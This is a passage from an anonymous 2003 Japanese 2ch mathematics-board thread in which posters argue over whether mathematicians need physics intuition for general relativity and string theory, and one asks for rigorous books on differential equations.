956 名前： _ 投稿日： 03/07/03 21:14: http://homepage.mac.com/hiroyuki44/hankaku06.html
957 名前： １３２人目の素数さん 投稿日： 03/07/03 21:35: 数学の学生と物理の学生とを比較するのはちょっとお門違いでしょう。どっちがいい悪いじゃない。
ジャンルの違いをどこういっても始まらない。比較が意味あるのは、同じ土俵に立ったとき。
こちらが低姿勢で物理の土俵に上がろうとしてるんだから、そう優越感丸出しにしなさんさ。
子供じゃあるまいし。
958 名前： １３２人目の素数さん 投稿日： 03/07/03 21:37: 数学やろうとすれば数学系の奴のほうが威張ってるけどなｗ
959 名前： １３２人目の素数さん 投稿日： 03/07/03 21:58: いずれにしろ、知識を自慢したってしょうがない。知識なんざ勉強すれば身につく。
960 名前： １３２人目の素数さん 投稿日： 03/07/03 22:03: >>955
数理物理といっても、幅が有りすぎます。
数学者寄り、数学者と言って間違いない方々を物理に取り込もうとしないでください。

それはそうと数学者が物理学の土俵に上がろうとしても、
日本には優秀な理論物理学者がいませんねぇ。およよ。
961 名前： 29 投稿日： 03/07/03 22:25: >>960
それは、誤解ですよ。知らないからそんなことが言えるんです。
世界ではじめて今の超ひも理論とかで、次元が１０次元か２６次元かしか
ありえないと計算していたのは日本の学者なんです。論文にだしてないが、
充分な信用性のもと研究ノートから分かています。しらないでしょ？だれか。
江沢洋先生しかり、新井朝雄先生しかり、戸田盛和先生しかり、
優秀な理論物理学者がいます。
一般相対性理論を専門にするのに、物理分からない数学専攻の人になにができるのか？
ちゃんと、世界でも有数の一般相対性理論を専門にしている数学者Ｒ．ペンローズは
そこらの物理学者以上に物理を分かっている。
もういとつ、今の数学者は物理学者の後追いなんです。自分たちで数理物理学に出てくる
きれいな数学の構造を見出せなかっただけで、後追いです。そこんとこ忘れないでね。
サイバーグ＝ウィッテンの仕事は完全に物理学のスタンスでかかれたもの。
そこんとこ分かってるのか？数学者があの仕事をしたのではないんだよ。
ピュアマス的な考えからはでないよ。ああいう理論はね。そこんとこ注意。
962 名前： １３２人目の素数さん 投稿日： 03/07/03 22:39: >>961
何でそんなにいばってるんだ？物理と数学を比較しても始まらないって。
お互い影響しあい発展していく。どちらが偉いっていう問題じゃない。
物理からの影響で数学は発展するし、数学からの影響で物理が発展する。
963 名前： １３２人目の素数さん 投稿日： 03/07/03 22:40: >>953
意味合いがちがうでしょ。小学生ジャンそのこたえは。
一般相対性理論を専門にするなら、それくらい知ってないといけないでしょ、
というのとそれをその程度の理解でなにができるんだったこと。
そんな数学専攻の輩によい仕事はできない。リッチ曲率/ワイル曲率は
何をいみするか？個々の数学専攻の方、分かる人は分かっていると思います。
それを単に数式で知っても、良い仕事は出来ません。それは、数学者Ｒ．ペンローズの
一般相対性理論での仕事をみれば分かる。日本で、一般相対性理論を専門にして
いる数学者で彼に匹敵する良い仕事をしている人はほとんどいませんね。
数理物理の世界で、物理をしらないで革新的な仕事をしている数学者は数少ないですから。
964 名前： １３２人目の素数さん 投稿日： 03/07/03 22:45: >>961
威張っているんではなくて、物理をしらないで良い仕事はたとえ
優秀な数学者でも、彼の勉強したいヤン＝ミルズ接続なり超ひも理論なり
ＳＷ理論なりでよい仕事はまずできないし、勉強するにもやっぱり
物理を知っているのとしらないで数式の表面をなぞるだけの結果になると
勉強した意味がないし。つまり、勉強したわりに得るものが少なくなって
しまうから、助言したのです。理論物理の範疇のことを学ぶなら、少しは
理論物理を物理的なセンスで勉強する必要もあるのではと思ったので。
その一例として、ウィッテンのＳＷ理論に関する論文の例をあげたのです。
965 名前： １３２人目の素数さん 投稿日： 03/07/03 22:52: へぇ～へぇ～へぇ～へぇ～へぇ～へぇ～へぇ～へぇ～へぇ～へぇ～へぇ～へぇ～へぇ～ 13へぇ～
966 名前： １３２人目の素数さん 投稿日： 03/07/03 22:55: 微分方程式で良い本おしえれ！
厳密で考証で難解な本きぼん。
既出ならどのあたりに既出かもきぼん
967 名前： １３２人目の素数さん 投稿日： 03/07/03 22:56: 考証→高尚
968 名前： １３２人目の素数さん 投稿日： 03/07/03 22:58: >>964
物理が数学に重要な影響を与えるのは知っています。
数学者はもっと物理を学ぶ必要があるでしょう。
だから私は物理を学ぼうと思っているわけですよ。
969 名前： １３２人目の素数さん 投稿日： 03/07/03 23:06: >946
>数学科の学生が物理を知らないのは当然です。あなたは、ガロワ理論、類体論を知っているのかな？
>リーマン・ロッホの定理は？Grothendieckのスキーム論は？多変数複素函数論は？

意味合いがちがうでしょ。小学生ジャンそのこたえは。
超ひも理論とかＳＷ理論なりゲージ理論なりという理論物理のなかでも
広く深い範疇を学ぶなら大学院レベルの物理は身につけとかないと、
勉強していても数式の表面をなぞるだけの結果になると
勉強した意味がないし。つまり、勉強したわりに得るものが少なくなって
しまうから、助言したのです。
970 名前： １３２人目の素数さん 投稿日： 03/07/03 23:08: >946
あなたの出した例やあなたの文面は、意味を取り違えていますよ。
ちなみに、類体論は彼の学びたい理論物理の分野には本質的にまず関係無い。
だから、持ち出す意味合いをまちがえている。ちなみに、彼の学びたい理論物理の分野
において、スキーム理論は関係あるか知りません。トピック的に関係あるのでしょう。
それとは、関係ないがジーゲル＝モジュラーなんかとひも理論がリンクして数学者も物理学者も
湧いた時はありましたが。リーマン＝ロッホの定理を知っているという言い方も変です。知っているより、
理解してるとか、厳密な細かい証明は知らないがどういうものか把握しておくというのが適切ではないでしょうか？
私は、ガウス＝ボンネの定理なりド・ラームの第1/2定理なりコホモロジー/ホモロジー群なり特性類なり
ファイバーバンドルなりを修士3/2年のときには理論物理に関わるとこで顔を出してきていたので、
理論物理的に学んでいたので、それはピュアマス専攻のよく出来る人にはかなわないけれど、理論物理を将来して行く
途中の道の上的には当時は充分な知識だと思います。というか、理論物理の分野では、ピュアマス的に見てもしょうがないのです。
ここは重要なところです。
971 名前： １３２人目の素数さん 投稿日： 03/07/03 23:08: >>963
大抵の数学者は別に物理に応用しようと数学をやっているわけではない。
972 名前： １３２人目の素数さん 投稿日： 03/07/03 23:09: >>946
それは、数学系の人でも同じ事なので、理論物理のなかでも広く深い範疇を学ぶなら大学院レベルの物理は身につけとかないと、
勉強していても数式の表面を
なぞるだけの結果になると勉強した意味がないし。つまり、勉強したわりに得るものが少なくなって
しまうから、助言したのです。
（　位相群は形式的に知っていても、ＦＴやＬＴも実際に計算出来ないピュアマス専攻の友人がいますが、
それなのに彼は全てを分かったつもりになたているので驚きました。
拡散方程式の取り扱いもしらないんだから、ガロア理論ガロア理論って叫んでいる割りにね。驚きました。
高橋陽一郎先生はちゃんと計算も出来ている。）
973 名前： １３２人目の素数さん 投稿日： 03/07/03 23:10: >>966
２ちゃんで聞くくらいだから、「厳密で考証で難解」って
言っても基礎レベルだろ。それならガイシュツ

微分方程式の良書は？(part2)
http://science.2ch.net/test/read.cgi/math/1050051365/17

> Lars Hormander 著
> The Analysis of Linear Partial Differential Operators I～IV
> Springer Verlag
>
> これを読んで微分方程式がわからなければ、微分方程式を学ぶことを
> あきらめたほうがいいでしょう。
974 名前： １３２人目の素数さん 投稿日： 03/07/03 23:12: ちょっとかじってみたいという人に、専門家になるための心得を解かれても困る。
975 名前： １３２人目の素数さん 投稿日： 03/07/03 23:13: >>971
でも、ＧＴＲを専門にしていて、Ｒ.Penroseに匹敵する良い仕事を
している日本の数学者を聞いたことがないですが？どうして？
あなたの答えは、ＧＴＲを専門にしている数学者という前提を忘れて
ますよ。
976 名前： １３２人目の素数さん 投稿日： 03/07/03 23:14: バカばっか
977 名前： １３２人目の素数さん 投稿日： 03/07/03 23:15: >>953
リッチ曲率/ワイル曲率は何をいみするか？答えてくださいな？どうですか。個々の数学専攻の方、
分かる人は分かっていると思います。それを単に数式で知っても、良い仕事は出来ません。
978 名前： １３２人目の素数さん 投稿日： 03/07/03 23:19: >>970
>ちなみに、類体論は彼の学びたい理論物理の分野には本質的にまず関係無い。
そうとは誰も言い切れないでしょう。数論は物理と深いところで関係しているはず。
現にリーマン空間におけるラプラシアンの固有値分布と素数分布とのアナロジーが指摘されている。
979 名前： １３２人目の素数さん 投稿日： 03/07/03 23:20: >>977
意味といわれても、3次元、4次元は特別だしねー
980 名前： １３２人目の素数さん 投稿日： 03/07/03 23:22: >>978
類体論程度じゃ物理じゃそんなに使えんけど、
非アーベル拡大なら理論物理に本質的にかかわっている罠ｗ
981 名前：　投稿日： 03/07/03 23:25: ＞それを単に数式で知っても、良い仕事は出来ません。

いや，別にお前の意見なんか聞いてないし．
982 名前： １３２人目の素数さん 投稿日： 03/07/03 23:28: >>972
だから数学者は物理学者と視点が違うんだって。数学者は数学的対象を研究しているんですよ。
ちょうど物理学者が物理的対象を研究するように。数学的対象の研究が空論だと思ったら大間違いでしょう。
往々にして、物理学者が必要とする数学は数学者が前もって研究していたものですよ。
983 名前： １３２人目の素数さん 投稿日： 03/07/03 23:32: >現にリーマン空間におけるラプラシアンの固有値分布と
>素数分布とのアナロジーが指摘されている

だから、彼がしたい分野ではまず関係ないから。
984 名前： １３２人目の素数さん 投稿日： 03/07/03 23:34: >>983
＞だから、彼がしたい分野ではまず関係ないから。

関係があっても、彼には他の研究者に指摘されるまで気がつかないからｗ
985 名前： １３２人目の素数さん 投稿日： 03/07/03 23:36: >>983
だから、そんなことは誰も言い切れないって。
986 名前： １３２人目の素数さん 投稿日： 03/07/03 23:50: シッタカばっか
987 名前： １３２人目の素数さん 投稿日： 03/07/03 23:52: >>985
さしたらり関係無し、それを学ぶなら他に勉強しなければいけない
概念なり考え方なり理論があるからそういってるのです。実際に
その分野を勉強していればそんなこと言いません。知らなきゃいけない
必須の準備はめちゃくちゃあるんだから。
988 名前： １３２人目の素数さん 投稿日： 03/07/03 23:52: >>986
あんたが知ったかでしょ？
989 名前： １３２人目の素数さん 投稿日： 03/07/03 23:58: >>977
ワイル曲率の存在は重力レンズの観測によって明らかとなり、
その結果、アインシュタイン理論における重力の幾何学、ワイル共形曲率の存在による
一般相対論における非共形的歪み効果も説明できる。
990 名前： １３２人目の素数さん 投稿日： 03/07/04 00:00: >>989
ﾌﾟﾌﾟ
991 名前： １３２人目の素数さん 投稿日： 03/07/04 00:01: >>975
>ＧＴＲを専門にしている数学者

なんてそもそも聞いた事が無いんだが？
992 名前： １３２人目の素数さん 投稿日： 03/07/04 00:02: 知ったかｶｺﾜﾙｲ
993 名前： １３２人目の素数さん 投稿日： 03/07/04 00:04: ＞ＧＴＲを専門にしている数学者
＞ＧＴＲを専門にしている数学者
＞ＧＴＲを専門にしている数学者
＞ＧＴＲを専門にしている数学者
＞ＧＴＲを専門にしている数学者
994 名前： １３２人目の素数さん 投稿日： 03/07/04 00:04: >>990
おまえがﾌﾟﾌﾟかもな。それペンローズの文章の引用だよ（ｗ
Mathematics Unlimited見てみ。
995 名前： １３２人目の素数さん 投稿日： 03/07/04 00:05: 数学と物理はお互い影響しあっている．
数学には物理の道具となることを目指して発展した一面がある．
だから，双方を知っておくと理解が深まる．
これ以上，何を議論することがあるんだ？
996 名前： １３２人目の素数さん 投稿日： 03/07/04 00:06: 奥井潔
997 名前： １３２人目の素数さん 投稿日： 03/07/04 00:06: ＧＴＲに乗っている数学者なるいるだろうｗ
998 名前： １３２人目の素数さん 投稿日： 03/07/04 00:10: じゃいあんととればりー？
999 名前： １３２人目の素数さん 投稿日： 03/07/04 00:11: >>987
何も物理屋に類体論を学べとは言ってない。リーマンがリ－マン幾何を考えた頃にも、物理屋はさしあたりそれは必要ないと
言っていたのだろう。
1000 名前： １３２人目の素数さん 投稿日： 03/07/04 00:12: リーマン幾何を専門にしている物理学者がいるにちがいない
1001 名前： １００１ 投稿日： Over 1000 Thread: このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

２ちゃんねるは、ここのサーバを使ってるです。。。